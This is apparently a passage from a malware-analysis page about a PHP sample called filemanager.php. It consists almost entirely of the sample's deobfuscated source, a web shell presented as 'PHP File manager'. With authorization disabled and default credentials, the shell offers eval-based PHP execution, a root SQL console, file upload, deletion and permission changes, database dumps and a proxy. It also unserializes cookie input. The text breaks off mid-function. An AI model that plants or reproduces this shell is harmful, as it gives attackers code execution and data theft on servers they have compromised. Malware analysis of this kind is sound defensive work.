PHP Malware Analysis

filemanager.php

md5: 6fb0632796d298c2c991b57d9d50679a

Jump to:

Screenshot


Attributes

Encoding

Environment

Execution

Files

Input

Title

URLs


Deobfuscated PHP code

<?php

/* PHP File manager ver 1.2 */
// Configuration — do not change manually!
$authorization = '{"authorize":"0","login":"admin","password":"phpfm","cookie_name":"fm_user","days_authorization":"30","script":"<script type=\\"text\\/javascript\\" src=\\"http:\\/\\/www.cdolivet.com\\/editarea\\/editarea\\/edit_area\\/edit_area_full.js\\"><\\/script>\\r\\n<script language=\\"Javascript\\" type=\\"text\\/javascript\\">\\r\\neditAreaLoader.init({\\r\\nid: \\"newcontent\\"\\r\\n,display: \\"later\\"\\r\\n,start_highlight: true\\r\\n,allow_resize: \\"both\\"\\r\\n,allow_toggle: true\\r\\n,word_wrap: true\\r\\n,language: \\"ru\\"\\r\\n,syntax: \\"php\\"\\t\\r\\n,toolbar: \\"search, go_to_line, |, undo, redo, |, select_font, |, syntax_selection, |, change_smooth_selection, highlight, reset_highlight, |, help\\"\\r\\n,syntax_selection_allow: \\"css,html,js,php,python,xml,c,cpp,sql,basic,pas\\"\\r\\n});\\r\\n<\\/script>"}';
$php_templates = '{"Settings":"global $fm_config;\\r\\nvar_export($fm_config);","Backup SQL tables":"echo fm_backup_tables();"}';
$sql_templates = '{"All bases":"SHOW DATABASES;","All tables":"SHOW TABLES;"}';
// end configuration
// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en', 'ru', 'de', 'fr', 'uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path = str_replace('\\', '/', realpath('./'));
$phar_maybe = version_compare(phpversion(), "5.3.0", "<") ? true : false;
$msg = '';
// service string
$default_language = 'ru';
$detect_lang = true;
$fm_version = 1.1;
//Authorization
$auth = json_decode($authorization, true);
$auth['authorize'] = isset($auth['authorize']) ? $auth['authorize'] : 0;
$auth['days_authorization'] = isset($auth['days_authorization']) && is_numeric($auth['days_authorization']) ? (int) $auth['days_authorization'] : 30;
$auth['login'] = isset($auth['login']) ? $auth['login'] : 'admin';
$auth['password'] = isset($auth['password']) ? $auth['password'] : 'phpfm';
$auth['cookie_name'] = isset($auth['cookie_name']) ? $auth['cookie_name'] : 'fm_user';
$auth['script'] = isset($auth['script']) ? $auth['script'] : '';
// Little default config
$fm_default_config = array(
    'make_directory' => true,
    'new_file' => true,
    'upload_file' => true,
    'show_dir_size' => false,
    //if true, show directory size → maybe slow
    'show_img' => true,
    'show_php_ver' => true,
    'show_php_ini' => false,
    // show path to current php.ini
    'show_gt' => true,
    // show generation time
    'enable_php_console' => true,
    'enable_sql_console' => true,
    'sql_server' => 'localhost',
    'sql_username' => 'root',
    'sql_password' => '',
    'sql_db' => 'test_base',
    'enable_proxy' => true,
    'show_phpinfo' => true,
    'show_xls' => true,
    'fm_settings' => true,
);
if (empty($_COOKIE['fm_config'])) {
    $fm_config = $fm_default_config;
} else {
    $fm_config = unserialize($_COOKIE['fm_config']);
}
// Change language
if (isset($_POST['fm_lang'])) {
    setcookie('fm_lang', $_POST['fm_lang'], time() + 86400 * $auth['days_authorization']);
    $_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;
// Detect browser language
if ($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])) {
    $lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
    if (!empty($lang_priority)) {
        foreach ($lang_priority as $lang_arr) {
            $lng = explode(';', $lang_arr);
            $lng = $lng[0];
            if (in_array($lng, $langs)) {
                $language = $lng;
                break;
            }
        }
    }
}
// Cookie language is primary for ever
$language = empty($_COOKIE['fm_lang']) ? $language : $_COOKIE['fm_lang'];
// Localization
if ($language == 'ru') {
    $lang['Add'] = 'Добавить';
    $lang['Are you sure you want to delete this directory (recursively)?'] = 'Вы уверены, что хотите удалить эту папку (рекурсивно)?';
    $lang['Are you sure you want to delete this file?'] = 'Вы уверены, что хотите удалить этот файл?';
    $lang['Archiving'] = 'Архивировать';
    $lang['Authorization'] = 'Авторизация';
    $lang['Back'] = 'Назад';
    $lang['Cancel'] = 'Отмена';
    $lang['Chinese'] = 'Китайский';
    $lang['Compress'] = 'Сжать';
    $lang['Console'] = 'Консоль';
    $lang['Cookie'] = 'Куки';
    $lang['Created'] = 'Создан';
    $lang['Date'] = 'Дата';
    $lang['Days'] = 'Дней';
    $lang['Decompress'] = 'Распаковать';
    $lang['Delete'] = 'Удалить';
    $lang['Deleted'] = 'Удалено';
    $lang['Download'] = 'Скачать';
    $lang['done'] = 'закончена';
    $lang['Edit'] = 'Редактировать';
    $lang['Enter'] = 'Вход';
    $lang['English'] = 'Английский';
    $lang['Error occurred'] = 'Произошла ошибка';
    $lang['File manager'] = 'Файловый менеджер';
    $lang['File selected'] = 'Выбран файл';
    $lang['File updated'] = 'Файл сохранен';
    $lang['Filename'] = 'Имя файла';
    $lang['Files uploaded'] = 'Файл загружен';
    $lang['French'] = 'Французский';
    $lang['German'] = 'Немецкий';
    $lang['Generation time'] = 'Генерация страницы';
    $lang['Home'] = 'Домой';
    $lang['Quit'] = 'Выход';
    $lang['Language'] = 'Язык';
    $lang['Login'] = 'Логин';
    $lang['Manage'] = 'Управление';
    $lang['Make directory'] = 'Создать папку';
    $lang['Name'] = 'Наименование';
    $lang['New'] = 'Новое';
    $lang['New file'] = 'Новый файл';
    $lang['no files'] = 'нет файлов';
    $lang['Password'] = 'Пароль';
    $lang['pictures'] = 'изображения';
    $lang['Recursively'] = 'Рекурсивно';
    $lang['Rename'] = 'Переименовать';
    $lang['Reset'] = 'Сбросить';
    $lang['Reset settings'] = 'Сбросить настройки';
    $lang['Result'] = 'Результат';
    $lang['Rights'] = 'Права';
    $lang['Russian'] = 'Русский';
    $lang['Save'] = 'Сохранить';
    $lang['Select'] = 'Выберите';
    $lang['Select the file'] = 'Выберите файл';
    $lang['Settings'] = 'Настройка';
    $lang['Show'] = 'Показать';
    $lang['Size'] = 'Размер';
    $lang['Spanish'] = 'Испанский';
    $lang['Submit'] = 'Отправить';
    $lang['Task'] = 'Задача';
    $lang['templates'] = 'шаблоны';
    $lang['Show size of the folder'] = 'Показать размер папки';
    $lang['Ukrainian'] = 'Украинский';
    $lang['Upload'] = 'Загрузить';
    $lang['Value'] = 'Значение';
    $lang['Hello'] = 'Привет';
} elseif ($language == 'de') {
    $lang['Add'] = 'Add';
    $lang['Are you sure you want to delete this directory (recursively)'] = 'Sind Sie sicher, dass Sie diesen Ordner löschen möchten (rekursiv)?';
    $lang['Are you sure you want to delete this file?'] = 'Sind Sie sicher, dass Sie diese Datei löschen möchten?';
    $lang['Archiving'] = 'Archivierung';
    $lang['Authorization'] = 'Genehmigung';
    $lang['Back'] = 'Zurück';
    $lang['Cancel'] = 'Abbrechen';
    $lang['Chinese'] = 'Chinesische';
    $lang['Compress'] = 'Compress';
    $lang['Console'] = 'Console';
    $lang['Cookie'] = 'Cookie';
    $lang['Created'] = 'Erstellt';
    $lang['Date'] = 'Datum';
    $lang['Days'] = 'Tage';
    $lang['Decompress'] = 'Extract';
    $lang['Delete'] = 'Löschen';
    $lang['Deleted'] = 'Gelöschte';
    $lang['Download'] = 'Laden';
    $lang['done'] = 'fertig';
    $lang['Edit'] = 'Bearbeiten';
    $lang['Enter'] = 'Eintrag';
    $lang['Englisch'] = 'Englisch';
    $lang['Error occurred'] = 'Ein Fehler ist aufgetreten';
    $lang['File manager'] = 'Datei Manager';
    $lang['File selected'] = 'Die ausgewählte Datei';
    $lang['File updated'] = 'Die Datei wird gespeichert';
    $lang['Filename'] = 'Dateiname';
    $lang['Files uploaded'] = 'Datei hochgeladen';
    $lang['French'] = 'Französisch';
    $lang['Generation time'] = 'Generation Zeit';
    $lang['German'] = 'Deutche';
    $lang['Home'] = 'Home';
    $lang['Quit'] = 'Abmelden';
    $lang['Language'] = 'Sprache';
    $lang['Login'] = 'Login';
    $lang['Manage'] = 'Management';
    $lang['Make directory'] = 'Neuer Ordner';
    $lang['Name'] = 'Name';
    $lang['New'] = 'Neu';
    $lang['New file'] = 'Neue Datei';
    $lang['no files'] = 'keine Dateien';
    $lang['Password'] = 'Passwort';
    $lang['pictures'] = 'Bilder';
    $lang['Recursively'] = 'rekursive';
    $lang['Reset'] = 'Zurücksetzen';
    $lang['Rename'] = 'Umbenennen';
    $lang['Reset settings'] = 'Einstellungen zurücksetzen';
    $lang['Result'] = 'Result';
    $lang['Ergebnis'] = 'Ergebnis';
    $lang['Rights'] = 'Rechte';
    $lang['Russian'] = 'Russisch';
    $lang['Save'] = 'Speichern';
    $lang['Select'] = 'Wählen';
    $lang['Select the file'] = 'Wählen Sie die Datei';
    $lang['Settings'] = 'Einstellungen';
    $lang['Show'] = 'Show';
    $lang['Show size of the folder'] = 'Größe des Ordners anzeigen';
    $lang['Size'] = 'Größe';
    $lang['Spanish'] = 'Spanisch';
    $lang['Submit'] = 'Senden';
    $lang['Task'] = 'Aufgabe';
    $lang['templates'] = 'Vorlagen';
    $lang['Ukrainian'] = 'Ukrainisch';
    $lang['Upload'] = 'Upload';
    $lang['Value'] = 'Wert';
    $lang['Hello'] = 'Hallo';
} elseif ($language == 'fr') {
    $lang['Add'] = 'Ajouter';
    $lang['Are you sure you want to delete this directory (recursively)?'] = 'Êtes-vous sûr de vouloir supprimer ce dossier (récursive)?';
    $lang['Are you sure you want to delete this file?'] = 'Êtes-vous sûr de vouloir supprimer ce fichier?';
    $lang['Archiving'] = 'Archives';
    $lang['Authorization'] = 'Autorisation';
    $lang['Back'] = 'Arrière';
    $lang['Cancel'] = 'annulation';
    $lang['Chinese'] = 'Chinois';
    $lang['Compress'] = 'Presser';
    $lang['Console'] = 'Console';
    $lang['Cookie'] = 'Cookie';
    $lang['Created'] = 'Êtabli';
    $lang['Date'] = 'La date';
    $lang['Days'] = 'Journées';
    $lang['Decompress'] = 'Décompresser';
    $lang['Delete'] = 'Supprimer';
    $lang['Deleted'] = 'Supprimé';
    $lang['Download'] = 'Télécharger';
    $lang['done'] = 'terminé';
    $lang['Edit'] = 'Editer';
    $lang['Enter'] = 'Entrée';
    $lang['English'] = 'Anglais';
    $lang['Error occurred'] = 'Une erreur est survenue';
    $lang['File manager'] = 'Gestionnaire de fichiers';
    $lang['File selected'] = 'Fichier sélectionné';
    $lang['File updated'] = 'Le fichier est enregistré';
    $lang['Filename'] = 'Nom du fichier';
    $lang['Files uploaded'] = 'Fichiers uploadés';
    $lang['French'] = 'Française';
    $lang['Generation time'] = 'Génération de la page';
    $lang['German'] = 'Allemand';
    $lang['Home'] = 'Home';
    $lang['Quit'] = 'Quitter';
    $lang['Language'] = 'Langue';
    $lang['Login'] = 'Connexion';
    $lang['Manage'] = 'Gestion';
    $lang['Make directory'] = 'Nouveau dossier';
    $lang['Name'] = 'Nom';
    $lang['New'] = 'Nouveau';
    $lang['New file'] = 'Nouveau fichier';
    $lang['no files'] = 'aucun fichier';
    $lang['Password'] = 'Mot de passe';
    $lang['pictures'] = 'des photos';
    $lang['Recursively'] = 'Récursive';
    $lang['Rename'] = 'Renommer';
    $lang['Reset'] = 'Réinitialiser';
    $lang['Reset settings'] = 'Réinitialiser les paramètres';
    $lang['Result'] = 'Résultat';
    $lang['Rights'] = 'Permissions';
    $lang['Russian'] = 'Russe';
    $lang['Save'] = 'Enregistrer';
    $lang['Select'] = 'Sélectionnez';
    $lang['Select the file'] = 'Sélectionnez le fichier';
    $lang['Settings'] = 'Réglages';
    $lang['Show'] = 'Show';
    $lang['Show size of the folder'] = 'Afficher la taille du dossier';
    $lang['Size'] = 'Taille';
    $lang['Spanish'] = 'Espagnol';
    $lang['Submit'] = 'Envoyer';
    $lang['Task'] = 'Tâche';
    $lang['templates'] = 'templates';
    $lang['Ukrainian'] = 'Ukrainien';
    $lang['Upload'] = 'Télécharger';
    $lang['Value'] = 'Valeur';
    $lang['Hello'] = 'Bonjour';
} else {
    if ($language == 'uk') {
        $lang['Add'] = 'Додати';
        $lang['Are you sure you want to delete this directory (recursively)?'] = 'Ви впевнені, що бажаєте видалити цю папку (рекурсивно)?';
        $lang['Are you sure you want to delete this file?'] = 'Ви впевнені, що бажаєте видалити цей файл?';
        $lang['Archiving'] = 'Архівувати';
        $lang['Authorization'] = 'Авторизація';
        $lang['Back'] = 'Назад';
        $lang['Cancel'] = 'Відміна';
        $lang['Chinese'] = 'Китайська';
        $lang['Compress'] = 'Сжати';
        $lang['Console'] = 'Консоль';
        $lang['Cookie'] = 'Кукi';
        $lang['Created'] = 'Створений';
        $lang['Date'] = 'Дата';
        $lang['Date'] = 'Днiв';
        $lang['Decompress'] = 'Розпакувати';
        $lang['Delete'] = 'Видалити';
        $lang['Deleted'] = 'Видалено';
        $lang['Download'] = 'Скачати';
        $lang['done'] = 'закінчено';
        $lang['Edit'] = 'Редагувати';
        $lang['Enter'] = 'Вхід';
        $lang['English'] = 'Англійська';
        $lang['Error occurred'] = 'Виникла помилка';
        $lang['File manager'] = 'Файловий менеджер';
        $lang['File selected'] = 'Обрано файл';
        $lang['File updated'] = 'Файл збережено';
        $lang['Filename'] = 'Им\'я файла';
        $lang['Files uploaded'] = 'Файл завантажено';
        $lang['French'] = 'Французська';
        $lang['Generation time'] = 'Генерація сторінки';
        $lang['German'] = 'Німецька';
        $lang['Home'] = 'Додому';
        $lang['Quit'] = 'Вихід';
        $lang['Language'] = 'Мова';
        $lang['Login'] = 'Логін';
        $lang['Manage'] = 'Управління';
        $lang['Make directory'] = 'Створити папку';
        $lang['Name'] = 'Найменування';
        $lang['New'] = 'Нове';
        $lang['New file'] = 'Новий файл';
        $lang['no files'] = 'немає файлів';
        $lang['Password'] = 'Пароль';
        $lang['pictures'] = 'фотографії';
        $lang['Recursively'] = 'Рекурсивно';
        $lang['Rename'] = 'Перейменувати';
        $lang['Reset'] = 'Скидання';
        $lang['Reset settings'] = 'Скинути налаштування';
        $lang['Result'] = 'Результат';
        $lang['Rights'] = 'Права';
        $lang['Russian'] = 'Російська';
        $lang['Save'] = 'Зберегти';
        $lang['Select'] = 'Виберіть';
        $lang['Select the file'] = 'Виберіть файл';
        $lang['Settings'] = 'Налаштування';
        $lang['Show'] = 'Показати';
        $lang['Show size of the folder'] = 'Показати розмір папки';
        $lang['Size'] = 'Розмір';
        $lang['Spanish'] = 'Іспанська';
        $lang['Submit'] = 'Відправити';
        $lang['Task'] = 'Завдання';
        $lang['templates'] = 'шаблони';
        $lang['Ukrainian'] = 'Українська';
        $lang['Upload'] = 'Завантажити';
        $lang['Value'] = 'Значення';
        $lang['Hello'] = 'Вітаю';
    }
}
/* Functions */
//translation
function __($text)
{
    global $lang;
    if (isset($lang[$text])) {
        return $lang[$text];
    } else {
        return $text;
    }
}
//delete files and dirs recursively
function fm_del_files($file, $recursive = false)
{
    if ($recursive && @is_dir($file)) {
        $els = fm_scan_dir($file, '', '', true);
        foreach ($els as $el) {
            if ($el != '.' && $el != '..') {
                fm_del_files($file . '/' . $el, true);
            }
        }
    }
    if (@is_dir($file)) {
        return rmdir($file);
    } else {
        return @unlink($file);
    }
}
//file perms
function fm_rights_string($file, $if = false)
{
    $perms = fileperms($file);
    $info = '';
    if (!$if) {
        if (($perms & 0xc000) == 0xc000) {
            //Socket
            $info = 's';
        } elseif (($perms & 0xa000) == 0xa000) {
            //Symbolic Link
            $info = 'l';
        } elseif (($perms & 0x8000) == 0x8000) {
            //Regular
            $info = '-';
        } elseif (($perms & 0x6000) == 0x6000) {
            //Block special
            $info = 'b';
        } elseif (($perms & 0x4000) == 0x4000) {
            //Directory
            $info = 'd';
        } elseif (($perms & 0x2000) == 0x2000) {
            //Character special
            $info = 'c';
        } elseif (($perms & 0x1000) == 0x1000) {
            //FIFO pipe
            $info = 'p';
        } else {
            //Unknown
            $info = 'u';
        }
    }
    //Owner
    $info .= $perms & 0x100 ? 'r' : '-';
    $info .= $perms & 0x80 ? 'w' : '-';
    $info .= $perms & 0x40 ? $perms & 0x800 ? 's' : 'x' : ($perms & 0x800 ? 'S' : '-');
    //Group
    $info .= $perms & 0x20 ? 'r' : '-';
    $info .= $perms & 0x10 ? 'w' : '-';
    $info .= $perms & 0x8 ? $perms & 0x400 ? 's' : 'x' : ($perms & 0x400 ? 'S' : '-');
    //World
    $info .= $perms & 0x4 ? 'r' : '-';
    $info .= $perms & 0x2 ? 'w' : '-';
    $info .= $perms & 0x1 ? $perms & 0x200 ? 't' : 'x' : ($perms & 0x200 ? 'T' : '-');
    return $info;
}
function fm_convert_rights($mode)
{
    $mode = str_pad($mode, 9, '-');
    $trans = array('-' => '0', 'r' => '4', 'w' => '2', 'x' => '1');
    $mode = strtr($mode, $trans);
    $newmode = '0';
    $owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2];
    $group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5];
    $world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8];
    $newmode .= $owner . $group . $world;
    return intval($newmode, 8);
}
function fm_chmod($file, $val, $rec = false)
{
    $res = @chmod(realpath($file), $val);
    if (@is_dir($file) && $rec) {
        $els = fm_scan_dir($file);
        foreach ($els as $el) {
            $res = $res && fm_chmod($file . '/' . $el, $val, true);
        }
    }
    return $res;
}
//load files
function fm_download($file_name)
{
    if (!empty($file_name)) {
        if (file_exists($file_name)) {
            header("Content-Disposition: attachment; filename=" . basename($file_name));
            header("Content-Type: application/force-download");
            header("Content-Type: application/octet-stream");
            header("Content-Type: application/download");
            header("Content-Description: File Transfer");
            header("Content-Length: " . filesize($file_name));
            flush();
            // this doesn't really matter.
            $fp = fopen($file_name, "r");
            while (!feof($fp)) {
                echo fread($fp, 65536);
                flush();
                // this is essential for large downloads
            }
            fclose($fp);
            die;
        } else {
            header('HTTP/1.0 404 Not Found', true, 404);
            header('Status: 404 Not Found');
            die;
        }
    }
}
//show folder size
function fm_dir_size($f, $format = true)
{
    if ($format) {
        $size = fm_dir_size($f, false);
        if ($size <= 1024) {
            return $size . ' bytes';
        } elseif ($size <= 1048576) {
            return round($size / 1024, 2) . '&nbsp;Kb';
        } elseif ($size <= 1073741824) {
            return round($size / 1048576, 2) . '&nbsp;Mb';
        } elseif ($size <= 1099511627776) {
            return round($size / 1073741824, 2) . '&nbsp;Gb';
        } elseif ($size <= 1125899906842624) {
            return round($size / 1099511627776, 2) . '&nbsp;Tb';
        } else {
            return round($size / 1125899906842624, 2) . '&nbsp;Pb';
        }
        // ;-)
    } else {
        if (is_file($f)) {
            return filesize($f);
        }
        $size = 0;
        $dh = opendir($f);
        while (($file = readdir($dh)) !== false) {
            if ($file == '.' || $file == '..') {
                continue;
            }
            if (is_file($f . '/' . $file)) {
                $size += filesize($f . '/' . $file);
            } else {
                $size += fm_dir_size($f . '/' . $file, false);
            }
        }
        closedir($dh);
        return $size + filesize($f);
    }
}
//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false)
{
    $dir = $ndir = array();
    if (!empty($exp)) {
        $exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
    }
    if (!empty($type) && $type !== 'all') {
        $func = 'is_' . $type;
    }
    if (@is_dir($directory)) {
        $fh = opendir($directory);
        while (false !== ($filename = readdir($fh))) {
            if (substr($filename, 0, 1) != '.' || $do_not_filter) {
                if ((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))) {
                    $dir[] = $filename;
                }
            }
        }
        closedir($fh);
        natsort($dir);
    }
    return $dir;
}
function fm_link($get, $link, $name, $title = '')
{
    if (empty($title)) {
        $title = $name . ' ' . basename($link);
    }
    return '&nbsp;&nbsp;<a href="?' . $get . '=' . base64_encode($link) . '" title="' . $title . '">' . $name . '</a>';
}
function fm_arr_to_option($arr, $n, $sel = '')
{
    foreach ($arr as $v) {
        $b = $v[$n];
        $res .= '<option value="' . $b . '" ' . ($sel && $sel == $b ? 'selected' : '') . '>' . $b . '</option>';
    }
    return $res;
}
function fm_lang_form($current = 'en')
{
    return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="' . __('Language') . '" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" ' . ($current == 'en' ? 'selected="selected" ' : '') . '>' . __('English') . '</option>
		<option value="de" ' . ($current == 'de' ? 'selected="selected" ' : '') . '>' . __('German') . '</option>
		<option value="ru" ' . ($current == 'ru' ? 'selected="selected" ' : '') . '>' . __('Russian') . '</option>
		<option value="fr" ' . ($current == 'fr' ? 'selected="selected" ' : '') . '>' . __('French') . '</option>
		<option value="uk" ' . ($current == 'uk' ? 'selected="selected" ' : '') . '>' . __('Ukrainian') . '</option>
	</select>
</form>
';
}
function fm_root($dirname)
{
    return $dirname == '.' or $dirname == '..';
}
function fm_php($string)
{
    $display_errors = ini_get('display_errors');
    ini_set('display_errors', '1');
    ob_start();
    eval(trim($string));
    $text = ob_get_contents();
    ob_end_clean();
    ini_set('display_errors', $display_errors);
    return $text;
}
//SHOW DATABASES
function fm_sql_connect()
{
    global $fm_config;
    return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}
function fm_sql($query)
{
    global $fm_config;
    $query = trim($query);
    ob_start();
    $connection = fm_sql_connect();
    if ($connection->connect_error) {
        ob_end_clean();
        return $connection->connect_error;
    }
    $connection->set_charset('utf8');
    $queried = mysqli_query($connection, $query);
    if ($queried === false) {
        ob_end_clean();
        return mysqli_error($connection);
    } else {
        if (!empty($queried)) {
            while ($row = mysqli_fetch_assoc($queried)) {
                $query_result[] = $row;
            }
        }
        $vdump = empty($query_result) ? '' : var_export($query_result, true);
        ob_end_clean();
        $connection->close();
        return '<pre>' . stripslashes($vdump) . '</pre>';
    }
}
function fm_backup_tables($tables = '*', $full_backup = true)
{
    global $path;
    $mysqldb = fm_sql_connect();
    $delimiter = "; \n  \n";
    if ($tables == '*') {
        $tables = array();
        $result = $mysqldb->query('SHOW TABLES');
        while ($row = mysqli_fetch_row($result)) {
            $tables[] = $row[0];
        }
    } else {
        $tables = is_array($tables) ? $tables : explode(',', $tables);
    }
    $return = '';
    foreach ($tables as $table) {
        $result = $mysqldb->query('SELECT * FROM ' . $table);
        $num_fields = mysqli_num_fields($result);
        $return .= 'DROP TABLE IF EXISTS `' . $table . '`' . $delimiter;
        $row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE ' . $table));
        $return .= $row2[1] . $delimiter;
        if ($full_backup) {
            for ($i = 0; $i < $num_fields; $i++) {
                while ($row = mysqli_fetch_row($result)) {
                    $return .= 'INSERT INTO `' . $table . '` VALUES(';
                    for ($j = 0; $j < $num_fields; $j++) {
                        $row[$j] = addslashes($row[$j]);
                        $row[$j] = str_replace("\n", "\\n", $row[$j]);
                        if (isset($row[$j])) {
                            $return .= '"' . $row[$j] . '"';
                        } else {
                            $return .= '""';
                        }
                        if ($j < $num_fields - 1) {
                            $return .= ',';
                        }
                    }
                    $return .= ')' . $delimiter;
                }
            }
        } else {
            $return = preg_replace("#AUTO_INCREMENT=[\\d]+ #is", '', $return);
        }
        $return .= "\n\n\n";
    }
    //save file
    $file = gmdate("Y-m-d_H-i-s", time()) . '.sql';
    $handle = fopen($file, 'w+');
    fwrite($handle, $return);
    fclose($handle);
    $alert = 'onClick="if(confirm(\'' . __('File selected') . ': \\n' . $file . '. \\n' . __('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path . '\'"';
    return $file . ': ' . fm_link('download', $path . $file, __('Download'), __('Download') . ' ' . $file) . ' <a href="#" title="' . __('Delete') . ' ' . $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}
function fm_restore_tables($sqlFileToExecute)
{
    $mysqldb = fm_sql_connect();
    $delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute, "r+");
    $sqlFile = fread($f, filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter, $sqlFile);
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt) > 3) {
            $result = $mysqldb->query($stmt);
            if (!$result) {
                $sqlErrorCode = mysqli_errno($mysqldb->connection);
                $sqlErrorText = mysqli_error($mysqldb->connection);
                $sqlStmt = $stmt;
                break;
            }
        }
    }
    if (empty($sqlErrorCode)) {
        return __('Success') . ' — ' . $sqlFileToExecute;
    } else {
        return $sqlErrorText . '<br/>' . $stmt;
    }
}
function fm_img_link($filename)
{
    return './' . basename("/var/www/html/filemanager.php.b97a2bff6e2ad04faae140daad367190.bin") . '?img=' . base64_encode($filename);
}
function fm_home_style()
{
    return "\n\ninput, input.fm_input {\n\ttext-indent: 2px;\n}\n\ninput, textarea, select, input.fm_input {\n\tcolor: black;\n\tfont: normal 8pt Verdana, Arial, Helvetica, sans-serif;\n\tborder-color: black;\n\tbackground-color: #FCFCFC none !important;\n\tborder-radius: 0;\n\tpadding: 2px;\n}\n\ninput.fm_input {\n\tbackground: #FCFCFC none !important;\n\tcursor: pointer;\n}\n\n.home {\n\tbackground-image: url(\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==\");\n\tbackground-repeat: no-repeat;\n}";
}
function fm_config_checkbox_row($name, $value)
{
    global $fm_config;
    return '<tr><td class="row1"><input id="fm_config_' . $value . '" name="fm_config[' . $value . ']" value="1" ' . (empty($fm_config[$value]) ? '' : 'checked="true"') . ' type="checkbox"></td><td class="row2 whole"><label for="fm_config_' . $value . '">' . $name . '</td></tr>';
}
function fm_protocol()
{
    if (isset($_SERVER['HTTP_SCHEME'])) {
        return $_SERVER['HTTP_SCHEME'] . '://';
    }
    if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') {
        return "https://";
    }
    if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) {
        return "https://";
    }
    if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') {
        return "https://";
    }
    return "http://";
}
function fm_site_url()
{
    return fm_protocol() . $_SERVER['HTTP_HOST'];
}
function fm_url($full = false)
{
    $host = $full ? fm_site_url() : '.';
    return $host . '/' . basename("/var/www/html/filemanager.php.b97a2bff6e2ad04faae140daad367190.bin");
}
function fm_home($full = false)
{
    return '&nbsp;<a href="' . fm_url($full) . '" title="' . __('Home') . '"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}
function fm_run_input($lng)
{
    global $fm_config;
    $return = !empty($fm_config['enable_' . $lng . '_console']) ? '
				<form  method="post" action="' . fm_url() . '" style="display:inline">
				<input type="submit" name="' . $lng . 'run" value="' . strtoupper($lng) . ' ' . __('Console') . '">
				</form>
' : '';
    return $return;
}
function fm_url_proxy($matches)
{
    $link = str_replace('&amp;', '&', $matches[2]);
    $url = isset($_GET['url']) ? $_GET['url'] : '';
    $parse_url = parse_url($url);
    $host = $parse_url['scheme'] . '://' . $parse_url['host'] . '/';
    if (substr($link, 0, 2) == '//') {
        $link = substr_replace($link, fm_protocol(), 0, 2);
    } elseif (substr($link, 0, 1) == '/') {
        $link = substr_replace($link, $host, 0, 1);
    } elseif (substr($link, 0, 2) == './') {
        $link = substr_replace($link, $host, 0, 2);
    } elseif (substr($link, 0, 4) == 'http') {
        //alles machen wunderschon
    } else {
        $link = $host . $link;
    }
    if ($matches[1] == 'href' && !strripos($link, 'css')) {
